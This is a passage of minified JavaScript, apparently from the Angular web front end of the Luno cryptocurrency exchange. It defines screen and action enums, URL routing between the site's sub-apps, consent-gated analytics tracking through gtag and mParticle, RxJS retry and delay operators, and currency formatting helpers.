t}(),u=function(){return(t=u||(u={}))[t.UNKNOWN_TYPE=0]="UNKNOWN_TYPE",t[t.SUBMIT=1]="SUBMIT",t[t.REDIRECT=2]="REDIRECT",t[t.TOKEN_ACTION=3]="TOKEN_ACTION",t[t.AUTH_TOKEN=4]="AUTH_TOKEN",t[t.SHARE=5]="SHARE",t[t.DIALOG=6]="DIALOG",t[t.MODAL=7]="MODAL",t[t.BOTTOM_SHEET=8]="BOTTOM_SHEET",t[t.AUTHENTICATION_APP=9]="AUTHENTICATION_APP",t[t.EMAIL_APP=10]="EMAIL_APP",t[t.ENDPOINT=11]="ENDPOINT",t[t.SOCIAL_SIGN_IN=12]="SOCIAL_SIGN_IN",t[t.CHAT=13]="CHAT",t[t.WEBVIEW=14]="WEBVIEW",t[t.PLAID_LINK=15]="PLAID_LINK",u;var t}(),c={UNKNOWN_TYPE:0,SUBMIT:1,REDIRECT:2,TOKEN_ACTION:3,AUTH_TOKEN:4,SHARE:5,DIALOG:6,MODAL:7,BOTTOM_SHEET:8,AUTHENTICATION_APP:9,EMAIL_APP:10,ENDPOINT:11,SOCIAL_SIGN_IN:12,CHAT:13,WEBVIEW:14,PLAID_LINK:15},l=function(){return(t=l||(l={}))[t.UNKNOWN_TYPE=0]="UNKNOWN_TYPE",t[t.FAILURE=1]="FAILURE",t[t.FIRST_BUY=2]="FIRST_BUY",t[t.LOADER=3]="LOADER",t[t.PENDING=4]="PENDING",t[t.SUCCESS=5]="SUCCESS",t[t.WELCOME=6]="WELCOME",t[t.UNLOCK=7]="UNLOCK",t[t.LOCK=8]="LOCK",t[t.FRAUD_LOCK=9]="FRAUD_LOCK",t[t.DUPLICATE_ACCOUNT=10]="DUPLICATE_ACCOUNT",t[t.REPEAT_TRANSFER_CANCEL=11]="REPEAT_TRANSFER_CANCEL",t[t.REPEAT_TRANSFER_SUCCESS=12]="REPEAT_TRANSFER_SUCCESS",t[t.DOCUMENTS_UNDER_REVIEW=13]="DOCUMENTS_UNDER_REVIEW",t[t.COMPLETE_PROFILE_SUCCESS=14]="COMPLETE_PROFILE_SUCCESS",t[t.COMPLETE_PROFILE_FAILURE=15]="COMPLETE_PROFILE_FAILURE",t[t.CONFIRM_IDENTITY=16]="CONFIRM_IDENTITY",t[t.SAVINGS_WALLET_GUIDE_1=17]="SAVINGS_WALLET_GUIDE_1",t[t.SAVINGS_WALLET_GUIDE_2=18]="SAVINGS_WALLET_GUIDE_2",t[t.SAVINGS_WALLET_GUIDE_3=19]="SAVINGS_WALLET_GUIDE_3",t[t.SAVINGS_WALLET_CREATED=20]="SAVINGS_WALLET_CREATED",t[t.SAVINGS_WALLET_FIRST_TRANSFER=21]="SAVINGS_WALLET_FIRST_TRANSFER",t[t.SAVINGS_WALLET_TRANSFER_IN=22]="SAVINGS_WALLET_TRANSFER_IN",t[t.SAVINGS_WALLET_TRANSFER_OUT=23]="SAVINGS_WALLET_TRANSFER_OUT",t[t.USDC_WALLET_GUIDE_1=24]="USDC_WALLET_GUIDE_1",t[t.USDC_WALLET_GUIDE_2=25]="USDC_WALLET_GUIDE_2",t[t.USDC_WALLET_GUIDE_3=26]="USDC_WALLET_GUIDE_3",t[t.REPEAT_TRANSFER_GUIDE=27]="REPEAT_TRANSFER_GUIDE",t[t.REPEAT_TRANSFER_PAUSE=28]="REPEAT_TRANSFER_PAUSE",t[t.USDC_SAVINGS_WALLET_CREATED=29]="USDC_SAVINGS_WALLET_CREATED",t[t.USDC_SAVINGS_WALLET_GUIDE_1=30]="USDC_SAVINGS_WALLET_GUIDE_1",t[t.USDC_SAVINGS_WALLET_GUIDE_2=31]="USDC_SAVINGS_WALLET_GUIDE_2",t[t.USDC_SAVINGS_WALLET_GUIDE_3=32]="USDC_SAVINGS_WALLET_GUIDE_3",t[t.USDC_SAVINGS_WALLET_GUIDE_4=33]="USDC_SAVINGS_WALLET_GUIDE_4",t[t.USDC_SAVINGS_WALLET_FIRST_TRANSFER=34]="USDC_SAVINGS_WALLET_FIRST_TRANSFER",t[t.USDC_SAVINGS_WALLET_TRANSFER_IN=35]="USDC_SAVINGS_WALLET_TRANSFER_IN",t[t.USDC_SAVINGS_WALLET_TRANSFER_OUT=36]="USDC_SAVINGS_WALLET_TRANSFER_OUT",t[t.USDC_DEPOSIT=37]="USDC_DEPOSIT",t[t.USDC_BUY=38]="USDC_BUY",t[t.ETH_SAVINGS_WALLET_CREATED=39]="ETH_SAVINGS_WALLET_CREATED",t[t.ETH_SAVINGS_WALLET_GUIDE_1=40]="ETH_SAVINGS_WALLET_GUIDE_1",t[t.ETH_SAVINGS_WALLET_GUIDE_2=41]="ETH_SAVINGS_WALLET_GUIDE_2",t[t.ETH_SAVINGS_WALLET_GUIDE_3=42]="ETH_SAVINGS_WALLET_GUIDE_3",t[t.ETH_SAVINGS_WALLET_GUIDE_4=43]="ETH_SAVINGS_WALLET_GUIDE_4",t[t.ETH_SAVINGS_WALLET_FIRST_TRANSFER=44]="ETH_SAVINGS_WALLET_FIRST_TRANSFER",t[t.ETH_SAVINGS_WALLET_TRANSFER_IN=45]="ETH_SAVINGS_WALLET_TRANSFER_IN",t[t.ETH_SAVINGS_WALLET_TRANSFER_OUT=46]="ETH_SAVINGS_WALLET_TRANSFER_OUT",t[t.ETH_DEPOSIT=47]="ETH_DEPOSIT",t[t.ETH_BUY=48]="ETH_BUY",t[t.BTC_DEPOSIT=49]="BTC_DEPOSIT",t[t.BTC_BUY=50]="BTC_BUY",t[t.REPEAT_TRANSFER_DEPOSIT=51]="REPEAT_TRANSFER_DEPOSIT",t[t.PROFIT_LOSS_GUIDE_1=52]="PROFIT_LOSS_GUIDE_1",t[t.CREDIT_CARD_ADD=53]="CREDIT_CARD_ADD",t[t.CREDIT_CARD_ERROR=54]="CREDIT_CARD_ERROR",t[t.CREDIT_CARD_REMOVE=55]="CREDIT_CARD_REMOVE",t[t.TRANSACTION_SUCCESS=56]="TRANSACTION_SUCCESS",t[t.PASSWORD_CHANGED=57]="PASSWORD_CHANGED",t[t.VOUCHER_FAILURE=58]="VOUCHER_FAILURE",t[t.VOUCHER_SUCCESS=59]="VOUCHER_SUCCESS",t[t.PHONE_NUMBER_INVALID=60]="PHONE_NUMBER_INVALID",t[t.BANK_SUCCESS=61]="BANK_SUCCESS",t[t.BANK_PENDING=62]="BANK_PENDING",t[t.INVEST_SUCCESS=63]="INVEST_SUCCESS",t[t.AFRITICKETS_GUIDE_SCREEN_1=64]="AFRITICKETS_GUIDE_SCREEN_1",t[t.AFRITICKETS_GUIDE_SCREEN_2=65]="AFRITICKETS_GUIDE_SCREEN_2",t[t.AFRITICKETS_GUIDE_SCREEN_3=66]="AFRITICKETS_GUIDE_SCREEN_3",t[t.DEPOSIT_SUCCESS=67]="DEPOSIT_SUCCESS",t[t.DEPOSIT_PENDING=68]="DEPOSIT_PENDING",t[t.SAVINGS_WALLET_TRANSFER_IN_PENDING=69]="SAVINGS_WALLET_TRANSFER_IN_PENDING",t[t.SAVINGS_WALLET_CREATED_PENDING=70]="SAVINGS_WALLET_CREATED_PENDING",t[t.HELP_MESSAGE_SENT=71]="HELP_MESSAGE_SENT",t[t.SUSPICIOUS_ACTIVITY=72]="SUSPICIOUS_ACTIVITY",t[t.API_KEY_SUCCESS=73]="API_KEY_SUCCESS",t[t.API_KEY_FAILURE=74]="API_KEY_FAILURE",t[t.TWO_FA_ENABLE=75]="TWO_FA_ENABLE",t[t.TWO_FA_DISABLE=76]="TWO_FA_DISABLE",t[t.SEND_FAILURE=77]="SEND_FAILURE",t[t.SEND_PENDING=78]="SEND_PENDING",t[t.SEND_SUCCESS=79]="SEND_SUCCESS",t[t.SEND_DISABLE_SUCCESS=80]="SEND_DISABLE_SUCCESS",t[t.TRUSTED_DEVICE_SUCCESS=81]="TRUSTED_DEVICE_SUCCESS",t[t.TRUSTED_DEVICE_REMOVE_PENDING=82]="TRUSTED_DEVICE_REMOVE_PENDING",t[t.REGIONAL_SANCTION=83]="REGIONAL_SANCTION",t[t.LABS_GUIDE=84]="LABS_GUIDE",t[t.REGION_NOT_AVAILABLE_PENDING=85]="REGION_NOT_AVAILABLE_PENDING",t[t.SAVINGS_WALLET_GUIDE_4=86]="SAVINGS_WALLET_GUIDE_4",t[t.REVIEW_DOCS_SUCCESS=87]="REVIEW_DOCS_SUCCESS",t[t.EMAIL_ADDRESS_CHECK=88]="EMAIL_ADDRESS_CHECK",t[t.EMAIL_ADDRESS_VERIFIED=89]="EMAIL_ADDRESS_VERIFIED",t[t.EMAIL_ADDRESS_NOT_VERIFIED=90]="EMAIL_ADDRESS_NOT_VERIFIED",t[t.CONFIRM_IDENTITY_PENDING=91]="CONFIRM_IDENTITY_PENDING",t[t.CONFIRM_IDENTITY_FAILURE=92]="CONFIRM_IDENTITY_FAILURE",t[t.PHONE_NUMBER_CHANGED=93]="PHONE_NUMBER_CHANGED",t[t.GENERIC_PENDING_FAILURE=94]="GENERIC_PENDING_FAILURE",l;var t}(),h={0:"UNKNOWN_TYPE",1:"NONE",2:"CAPITALISE",3:"UPPERCASE",4:"LOWERCASE"},f={UNKNOWN_TYPE:0,NONE:1,CAPITALISE:2,UPPERCASE:3,LOWERCASE:4},d=function(){return(t=d||(d={}))[t.UNKNOWN_STYLE=0]="UNKNOWN_STYLE",t[t.NORMAL=1]="NORMAL",t[t.GROUPING=2]="GROUPING",d;var t}(),p=function(){return(t=p||(p={}))[t.UNKNOWN_TYPE=0]="UNKNOWN_TYPE",t[t.STANDARD=1]="STANDARD",t[t.CHECKBOX=2]="CHECKBOX",t[t.HEADING=3]="HEADING",t[t.SWITCH_CONTROL=4]="SWITCH_CONTROL",t[t.PAYMENT_METHOD=5]="PAYMENT_METHOD",t[t.EMPTY_STATE=6]="EMPTY_STATE",t[t.INLINE_BUTTON=7]="INLINE_BUTTON",p;var t}(),v={UNKNOWN_TYPE:0,STANDARD:1,CHECKBOX:2,HEADING:3,SWITCH_CONTROL:4,PAYMENT_METHOD:5,EMPTY_STATE:6,INLINE_BUTTON:7},m=function(){return(t=m||(m={}))[t.UNKNOWN_TYPE=0]="UNKNOWN_TYPE",t[t.SUCCESS=1]="SUCCESS",t[t.PENDING=2]="PENDING",t[t.WARNING=3]="WARNING",m;var t}(),g=function(){return(t=g||(g={}))[t.UNKNOWN_TYPE=0]="UNKNOWN_TYPE",t[t.NATIONAL_ID_CARD=1]="NATIONAL_ID_CARD",t[t.DRIVING_LICENCE=2]="DRIVING_LICENCE",t[t.PASSPORT=3]="PASSPORT",t[t.FACE_PHOTO=4]="FACE_PHOTO",t[t.FACE_VIDEO=5]="FACE_VIDEO",g;var t}(),y=function(){return(t=y||(y={}))[t.UNKNOWN=0]="UNKNOWN",t[t.TRANSFER=1]="TRANSFER",t[t.TOGGLE_SEND=2]="TOGGLE_SEND",t[t.API_KEY=3]="API_KEY",t[t.MOBILE_CHANGE=4]="MOBILE_CHANGE",t[t.ADD_EMAIL=5]="ADD_EMAIL",t[t.TRUST_DEVICE=6]="TRUST_DEVICE",y;var t}()},58193:function(t,e,n){"use strict";n.d(e,{Cq:function(){return s},Tt:function(){return c}});var i=n(62901);n(66846),n(22210);var r,o=n(54364),a=n(2316),s=((r=function(){function t(e){_(this,t),this.localeService=e}return y(t,[{key:"transform",value:function(t){return(0,o.p6)(t,"MMMM yyyy",this.localeService.locale)}}]),t}()).\u0275fac=function(t){return new(t||r)(a.Y36(i.O,16))},r.\u0275pipe=a.Yjl({name:"formatMonthYear",type:r,pure:!0}),r),u=n(98045),c=function(){var t=function(){function t(e){_(this,t),this.featureFlagService=e}return y(t,[{key:"transform",value:function(t,e){if(!t)return t;var n=t.match(/^(.+?)\.([a-z]+)$/);if(!n)return t;var i=this.featureFlagService.isEnabled("luno_v3")?"_v3":"";return e=this.featureFlagService.isEnabled("luno_v3")?e:void 0,n[1]+i+"."+(null!=e?e:n[2])}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.Y36(u.a,16))},t.\u0275pipe=a.Yjl({name:"themedAsset",type:t,pure:!0}),t}()},58625:function(t,e,n){"use strict";n.d(e,{x:function(){return l},c:function(){return h}});var i,o=n(2316),a=n(46436),s=n(62901),u=n(22210),c=n(18742),l=new o.OlP("LUNO_PROJECT"),h=((i=function(){function t(e,n,i,r){_(this,t),this.windowRef=e,this.i18n=n,this.localeService=i,this.project=r,this.trustedDomains=["https://auth.truelayer-sandbox.com","https://auth.truelayer.com","https://afrivoucher-staging.herokuapp.com","https://vouchers.afritickets.com"],this.authRoutes=["/authorize","/confirm_email","/lock_account","/login","/login/oauth2v2","/recover","/recovery_web","/report_fraud","/secure_account","/signup","/verify_email"],this.currentUrl=this.windowRef.nativeWindow.location.href,r?(this.currentProject=r,r===a.I.websiteOld&&this.getProjectFromUrl(this.currentUrl)===a.I.careers&&(this.currentProject=a.I.careers)):this.currentProject=this.getProjectFromUrl(this.currentUrl)}return y(t,[{key:"getProjectFromUrl",value:function(t){var e=this.getUrlPath(t);return this.hostnameIsTrade(t)?a.I.exchangePwa:this.pathIsWallet(e)?a.I.wallet:this.pathIsLearn(e)?a.I.learningPortal:this.pathIsHelp(e)?a.I.helpCentre:this.pathIsTrade(e)?a.I.exchange:this.pathIsSandbox(e)?a.I.sandbox:this.pathIsExpress(e)?a.I.express:this.pathIsCareers(e)?a.I.careers:this.pathIsAuth(e)?a.I.auth:!this.isAbsoluteUrl(t)||this.isSameDomain(t,this.windowRef.nativeWindow.location.href)?a.I.websiteOld:a.I.external}},{key:"maybeGetLanguageFromUrl",value:function(t){if(!t)return!1;var e,n=r(this.localeService.supportedLanguages);try{for(n.s();!(e=n.n()).done;){var i=e.value;if(t.includes("/".concat(i,"/"))||t.endsWith("/".concat(i)))return i}}catch(o){n.e(o)}finally{n.f()}return!1}},{key:"getUrlPath",value:function(t){return this.isAbsoluteUrl(t)?new URL(t).pathname:t}},{key:"getParsedToken",value:function(t){var e=t.match(/token=(.*)$/);return e?e[1]:t}},{key:"isSameDomain",value:function(t,e){if(!t||!e||"function"!=typeof URL)return!1;var n=new URL(t),i=new URL(e);return n.hostname===i.hostname}},{key:"isAbsoluteUrl",value:function(t){return!!(null==t?void 0:t.startsWith("http"))}},{key:"hostnameIsTrade",value:function(t){return!!this.isAbsoluteUrl(t)&&["trade.luno.com","trade.staging.luno.com"].includes(new URL(t).hostname)}},{key:"pathIsAuth",value:function(t){return!!this.authRoutes.find(function(e){return t.includes(e)})}},{key:"pathIsBlog",value:function(t){return!!(null==t?void 0:t.startsWith("/blog"))}},{key:"pathIsCareers",value:function(t){return!!(null==t?void 0:t.includes("/careers"))}},{key:"pathIsExpress",value:function(t){return!!(null==t?void 0:t.startsWith("/express"))}},{key:"pathIsHelp",value:function(t){return!!(null==t?void 0:t.startsWith("/help"))}},{key:"pathIsLearn",value:function(t){return!!(null==t?void 0:t.startsWith("/learn"))}},{key:"pathIsLogin",value:function(t){return!!(null==t?void 0:t.includes("/login"))}},{key:"pathIsLogout",value:function(t){return"/logout"===t}},{key:"pathIsSandbox",value:function(t){return!!(null==t?void 0:t.startsWith("/sandbox"))}},{key:"pathIsSignUp",value:function(t){return!!(null==t?void 0:t.includes("/signup"))}},{key:"pathIsTrade",value:function(t){return!!(null==t?void 0:t.startsWith("/trade"))}},{key:"pathIsWallet",value:function(t){return!!(null==t?void 0:t.startsWith("/wallet"))}},{key:"pathIsDeveloperApi",value:function(t){return!!(null==t?void 0:t.includes("/developers/api"))}},{key:"removeWalletFromUrl",value:function(t){return"/wallet"===t?"/":t.replace(/^\/wallet/,"")}},{key:"getUrl",value:function(t){switch(this.currentProject){case a.I.wallet:return this.processWalletUrl(t);case a.I.helpCentre:return this.processHelpUrl(t);case a.I.auth:return this.processAuthUrl(t);case a.I.websiteOld:return this.processWebsiteOldUrl(t);case a.I.website:return this.processWebsiteUrl(t)}return t}},{key:"getUrlWithoutParams",value:function(t){return(t=this.getUrl(t)).split("?")[0]}},{key:"getParams",value:function(t){var e,n;n=this.isAbsoluteUrl(t)?new URL(t):new URL("https://www.luno.com/".concat(t));var i={};return null===(e=null==n?void 0:n.searchParams)||void 0===e||e.forEach(function(t,e){i[e]=t}),i}},{key:"processWalletUrl",value:function(t){var e=this.isAbsoluteUrl(t)?new URL(t).pathname+new URL(t).search:t;return this.pathIsWallet(e)?this.removeWalletFromUrl(e):t}},{key:"processHelpUrl",value:function(t){var e=this.isAbsoluteUrl(t)?new URL(t).pathname+new URL(t).search:t,n=!!this.maybeGetLanguageFromUrl(e);if(this.pathIsHelp(e)){if(n)return e;var i=this.maybeGetLanguageFromUrl(this.currentUrl)||this.i18n.defaultLanguage;return e.replace("/help/","/help/".concat(i,"/"))}return t}},{key:"processAuthUrl",value:function(t){if(!t)return"";var e=this.isAbsoluteUrl(t)?new URL(t).pathname+new URL(t).search:t,n=!!this.maybeGetLanguageFromUrl(e);if(!e)return t;if(this.pathIsAuth(e)){if(n)return e;var i=this.maybeGetLanguageFromUrl(this.currentUrl)||this.i18n.defaultLanguage,r=this.authRoutes.find(function(t){return e.includes(t)})||"";return e.replace(r,"/".concat(i).concat(r))}return this.processHelpUrl(t)}},{key:"processWebsiteOldUrl",value:function(t){if(!t)return"";var e=this.isAbsoluteUrl(t)?new URL(t).pathname+new URL(t).search:t,n=!!this.maybeGetLanguageFromUrl(e);if(!e)return t;if(e.includes("/recover")){if(n)return e;var i=this.maybeGetLanguageFromUrl(this.currentUrl)||this.i18n.defaultLanguage;return e.replace("/recover","/".concat(i,"/recover"))}return this.processHelpUrl(t)}},{key:"processWebsiteUrl",value:function(t){return this.isAbsoluteUrl(t)&&!this.isExternalLink(t)?new URL(t).pathname+new URL(t).search:t}},{key:"isExternalLink",value:function(t){if(t.startsWith("mailto"))return!0;switch(this.currentProject){case a.I.auth:return this.isExternalAuthLink(t);case a.I.wallet:return this.isExternalWalletLink(t);case a.I.helpCentre:return this.isExternalHelpLink(t);case a.I.sandbox:return this.isExternalSandboxLink(t);case a.I.exchange:return!0;case a.I.exchangePwa:return this.isExternalExchangePwaLink(t);case a.I.websiteOld:return!0;case a.I.website:return this.isExternalWebsiteLink(t);case a.I.express:return this.isExternalExpressLink(t);case a.I.careers:return this.isExternalCareersLink(t)}return!1}},{key:"isExternalWebsiteLink",value:function(t){return!!(this.pathIsBlog(t)||this.pathIsCareers(t)||this.pathIsHelp(t)||this.pathIsLearn(t)||this.pathIsLogin(t)||this.pathIsLogout(t)||this.pathIsSignUp(t)||this.pathIsTrade(t)||this.pathIsWallet(t)||this.pathIsDeveloperApi(t))||!!this.isAbsoluteUrl(t)&&!this.isSameDomain(this.windowRef.nativeWindow.location.href,t)}},{key:"isExternalExpressLink",value:function(t){return this.isAbsoluteUrl(t)?!this.pathIsExpress(new URL(t).pathname):this.pathIsLogin(t)||this.pathIsLogout(t)||this.pathIsSignUp(t)||this.pathIsHelp(t)}},{key:"isExternalCareersLink",value:function(t){return!t.includes("en/careers")}},{key:"isExternalWalletLink",value:function(t){return this.isAbsoluteUrl(t)?!this.pathIsWallet(new URL(t).pathname):this.pathIsHelp(t)||this.pathIsLearn(t)||this.pathIsTrade(t)}},{key:"isExternalAuthLink",value:function(t){return this.isAbsoluteUrl(t)?!this.pathIsAuth(new URL(t).pathname):!this.pathIsAuth(t)}},{key:"isExternalHelpLink",value:function(t){return this.isAbsoluteUrl(t)?!this.pathIsHelp(new URL(t).pathname):!this.pathIsHelp(t)}},{key:"isExternalSandboxLink",value:function(t){return this.isAbsoluteUrl(t)?!this.pathIsSandbox(new URL(t).pathname):this.pathIsHelp(t)||this.pathIsLearn(t)||this.pathIsTrade(t)||this.pathIsWallet(t)}},{key:"isExternalExchangePwaLink",value:function(t){return!this.pathIsLogin(t)}},{key:"isDifferentWindowExchange",value:function(t){return!!this.isAbsoluteUrl(t)||t.indexOf("signup")>=0}},{key:"isDifferentWindowExpress",value:function(t){return!!this.pathIsHelp(this.getUrlPath(t))||!(this.isAbsoluteUrl(t)||this.pathIsLogin(t)||this.pathIsLogout(t)||this.pathIsSignUp(t))&&this.isExternalExpressLink(t)}},{key:"shouldOpenInNewWindow",value:function(t){switch(this.currentProject){case a.I.wallet:return this.isExternalWalletLink(t);case a.I.exchange:case a.I.exchangePwa:return this.isDifferentWindowExchange(t);case a.I.express:return this.isDifferentWindowExpress(t);case a.I.sandbox:case a.I.helpCentre:case a.I.websiteOld:case a.I.website:case a.I.auth:return!!this.isAbsoluteUrl(t)&&!this.isSameDomain(this.windowRef.nativeWindow.location.href,t)}return!1}},{key:"isTrustedUrl",value:function(t){return this.trustedDomains.some(function(e){return t.startsWith(e)})}}]),t}()).\u0275fac=function(t){return new(t||i)(o.LFG(c.X),o.LFG(u.K),o.LFG(s.O),o.LFG(l,8))},i.\u0275prov=o.Yz7({token:i,factory:i.\u0275fac,providedIn:"root"}),i)},70227:function(e,n,i){"use strict";i.d(n,{y:function(){return d},v:function(){return f}});var r,o=i(54364),a=i(2316),s=((r=s||(s={})).UNKNOWN="unknown",r.BROWSER="browser",r.STANDALONE="standalone",r.TWA="twa",s),u=function(){return(t=u||(u={}))[t.Unknown=0]="Unknown",t[t.Navigation=1]="Navigation",t[t.Location=2]="Location",t[t.Search=3]="Search",t[t.Transaction=4]="Transaction",t[t.UserContent=5]="UserContent",t[t.UserPreference=6]="UserPreference",t[t.Social=7]="Social",t[t.Other=8]="Other",u;var t}(),c=i(98045),l=i(94637),h=i(18742),f=new a.OlP("GA_MEASUREMENT_IDS"),d=function(){var e=function(){function e(t,n,i,r,a){var u,c=this;if(_(this,e),this.cookiePreferencesService=t,this.featureFlagsService=n,this.windowRef=i,this.platformId=r,this.gaPropertyIds=a,this.shouldTrackGtagDate=!0,this.shouldTrackPerformance=!1,this.displayMode=s.BROWSER,(0,o.NF)(this.platformId)){if(!i.nativeWindow.gtag)return void console.error("GaService: Analytics script not loaded properly.");this.cookiePreferencesService.preferences$.subscribe(function(t){c.shouldTrackPerformance=t.performance,c.windowRef.nativeWindow.gtag("consent","default",{analytics_storage:t.performance?"granted":"denied"})})}this.displayMode=(u=this.platformId)&&!(0,o.NF)(u)?s.UNKNOWN:document.referrer.startsWith("android-app://")?s.TWA:window.matchMedia("(display-mode: standalone)").matches||navigator.standalone?s.STANDALONE:s.BROWSER}return y(e,[{key:"isDebugMode",get:function(){return this.isAnalyticsDebuggerEnabled||!1}},{key:"isAnalyticsDebuggerEnabled",get:function(){return this.featureFlagsService.isEnabled("analytics_debugger")}},{key:"logEvent",value:function(t){!(null==t?void 0:t.name)||(this.trackMparticleEvent(t.name,Object.assign(Object.assign({},t.parameters),{display_mode:this.displayMode})),this.trackGtagEvent(t.name,{parameters:Object.assign(Object.assign({},t.parameters),{display_mode:this.displayMode})}))}},{key:"trackPage",value:function(t,e,n){var i=arguments.length>3&&void 0!==arguments[3]&&arguments[3];!t||(i&&t!==this.lastTrackedPage&&(this.markedPage=this.lastTrackedPage),this.lastTrackedPage=t,e=e||{},t&&this.trackMparticlePageview(t,e),this.trackGtagPageview(t,n))}},{key:"trackMarkedPage",value:function(){this.markedPage&&this.lastTrackedPage!==this.markedPage&&(this.trackPage(this.markedPage),this.markedPage="")}},{key:"trackMparticlePageview",value:function(t,e){this.isDebugMode?console.table({Service:"mParticle",Page_name:t,Attributes:e}):!this.windowRef.nativeWindow.mParticle||!this.shouldTrackPerformance||this.windowRef.nativeWindow.mParticle.logPageView(t.trim(),e)}},{key:"trackMparticleEvent",value:function(t,e){this.lastTrackedPage&&(e||(e={}),e.screen_name=this.lastTrackedPage),this.isDebugMode?console.table({Service:"mParticle",Event_name:t,Attributes:e}):!this.windowRef.nativeWindow.mParticle||!this.shouldTrackPerformance||this.windowRef.nativeWindow.mParticle.logEvent(t.trim(),u.Other,e)}},{key:"trackGtagPageview",value:function(t,e){var n=this;if(this.isDebugMode)console.table({Service:"Gtag",PageName:t,PageUrl:e});else{var i={};i.page_title=t,e&&(i.page_path=e),this.shouldTrackGtagDate&&(this.windowRef.nativeWindow.gtag("js",new Date),this.shouldTrackGtagDate=!1),this.gaPropertyIds&&this.gaPropertyIds.forEach(function(t){n.windowRef.nativeWindow.gtag("config",t,i)})}}},{key:"trackGtagEvent",value:function(t,e){var n=(null==e?void 0:e.attributes)||{},i={event_category:null==e?void 0:e.gaCategory,event_label:n.label,value:n.value};(null==e?void 0:e.parameters)&&(i=e.parameters),this.isDebugMode?console.table({Service:"Gtag (event)",action:t,attributes:i}):this.windowRef.nativeWindow.gtag("event",t.trim(),i)}},{key:"logUserIntoGtag",value:function(t){if(t&&t>0){if(this.isDebugMode)return void console.table({Service:"Gtag (log user in)",user_id:t});this.windowRef.nativeWindow.gtag("set",{user_id:t.toString()})}}},{key:"logCustomMetrics",value:function(e){var n=this;!e||!e.dimensions||e.dimensions.forEach(function(e){n.isDebugMode?console.table({Service:"Custom Dimension",label:e.label,value:e.value}):n.windowRef.nativeWindow.gtag("set","user_properties",t({},e.label,e.value))})}}]),e}();return e.\u0275fac=function(t){return new(t||e)(a.LFG(l.L),a.LFG(c.a),a.LFG(h.X),a.LFG(a.Lbi),a.LFG(f,8))},e.\u0275prov=a.Yz7({token:e,factory:e.\u0275fac,providedIn:"root"}),e}()},80722:function(e,n,r){"use strict";r.d(n,{E:function(){return B},N:function(){return U}});var a=r(2316),s=r(32118),c=r.n(s),h=r(76491),d=r(79441),p=r(27272);function v(t){return function(e){return e.lift(new g(t,e))}}var g=function(){function t(e,n){_(this,t),this.notifier=e,this.source=n}return y(t,[{key:"call",value:function(t,e){return e.subscribe(new b(t,this.notifier,this.source))}}]),t}(),b=function(t){l(n,t);var e=f(n);function n(t,i,r){var o;return _(this,n),(o=e.call(this,t)).notifier=i,o.source=r,o}return y(n,[{key:"error",value:function(t){if(!this.isStopped){var e=this.errors,i=this.retries,r=this.retriesSubscription;if(i)this.errors=void 0,this.retriesSubscription=void 0;else{e=new d.xQ;try{var o;i=(0,this.notifier)(e)}catch(o){return u(m(n.prototype),"error",this).call(this,o)}r=(0,p.ft)(i,new p.IY(this))}this._unsubscribeAndRecycle(),this.errors=e,this.retries=i,this.retriesSubscription=r,e.next(t)}}},{key:"_unsubscribe",value:function(){var t=this.errors,e=this.retriesSubscription;t&&(t.unsubscribe(),this.errors=void 0),e&&(e.unsubscribe(),this.retriesSubscription=void 0),this.retries=void 0}},{key:"notifyNext",value:function(){var t=this._unsubscribe;this._unsubscribe=null,this._unsubscribeAndRecycle(),this._unsubscribe=t,this.source.subscribe(this)}}]),n}(p.Ds),k=r(32606),w=r(71003),C=r(93621);function x(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:k.P,n=function(t){return t instanceof Date&&!isNaN(+t)}(t)?+t-e.now():Math.abs(t);return function(t){return t.lift(new E(n,e))}}var S,E=function(){function t(e,n){_(this,t),this.delay=e,this.scheduler=n}return y(t,[{key:"call",value:function(t,e){return e.subscribe(new A(t,this.delay,this.scheduler))}}]),t}(),A=function(t){l(n,t);var e=f(n);function n(t,i,r){var o;return _(this,n),(o=e.call(this,t)).delay=i,o.scheduler=r,o.queue=[],o.active=!1,o.errored=!1,o}return y(n,[{key:"_schedule",value:function(t){this.active=!0,this.destination.add(t.schedule(n.dispatch,this.delay,{source:this,destination:this.destination,scheduler:t}))}},{key:"scheduleNotification",value:function(t){if(!0!==this.errored){var e=this.scheduler,n=new T(e.now()+this.delay,t);this.queue.push(n),!1===this.active&&this._schedule(e)}}},{key:"_next",value:function(t){this.scheduleNotification(C.P.createNext(t))}},{key:"_error",value:function(t){this.errored=!0,this.queue=[],this.destination.error(t),this.unsubscribe()}},{key:"_complete",value:function(){this.scheduleNotification(C.P.createComplete()),this.unsubscribe()}}],[{key:"dispatch",value:function(t){for(var e=t.source,n=e.queue,i=t.scheduler,r=t.destination;n.length>0&&n[0].time-i.now()<=0;)n.shift().notification.observe(r);if(n.length>0){var o=Math.max(0,n[0].time-i.now());this.schedule(t,o)}else this.unsubscribe(),e.active=!1}}]),n}(w.L),T=function t(e,n){_(this,t),this.time=e,this.notification=n},I=r(14921),O=r(33927),R=r(53466),P=r(30706),N=r(96005),D=r(87997),L=r(22210),M=((S=function(){function t(){_(this,t)}return y(t,[{key:"currencyInfo",set:function(t){this._currencyInfo=t,this.mapCurrencies(t)}},{key:"mapCurrencies",value:function(t){var e=this;this.mappedCurrencies=new Map,t.currencies&&Object.keys(t.currencies).forEach(function(n){e.mappedCurrencies.set(t.currencies[n].code,t.currencies[n]),e.mappedCurrencies.set(t.currencies[n].displayCode,t.currencies[n])})}},{key:"getCurrency",value:function(t){return this.mappedCurrencies.get(t)}},{key:"standardise",value:function(t){var e;if(!t)return"";var n=/[^0-9]/g,i=t.split(/[,.]/),r=null===(e=i.pop())||void 0===e?void 0:e.replace(n,""),o=i.join("").replace(n,"");return"".concat(o).concat(o?".":"").concat(r)}},{key:"truncate",value:function(t,e){var n=o(t.toString().split("."),2),i=n[0],r=n[1],a=this.getCurrency(e);return r&&a?"".concat(i,".").concat(r.slice(0,a.scale)):t.toString()}}]),t}()).\u0275fac=function(t){return new(t||S)},S.\u0275prov=a.Yz7({token:S,factory:S.\u0275fac,providedIn:"root"}),S),F=r(50501),U=new a.OlP("SUPPORTED_LANGUAGES"),B=function(){var e=function(){function e(t,n,i,r,o){_(this,e),this.currencyInfoService=t,this.errorHandlerService=n,this.httpService=i,this.i18n=r,this.supportedLanguages=o,this.isCamelCased=!0,this._hasProcessed=!1,this.appInfoSubject=new h.X(null),this.retryAmount=3,this.retryDelay=1e3,this.supportedLanguageCodes={fr:!0,id:!0,it:!0}}return y(e,[{key:"hasProcessed",get:function(){return this._hasProcessed}},{key:"load",value:function(){var t=this;return this.getInitData().toPromise().then(function(e){return 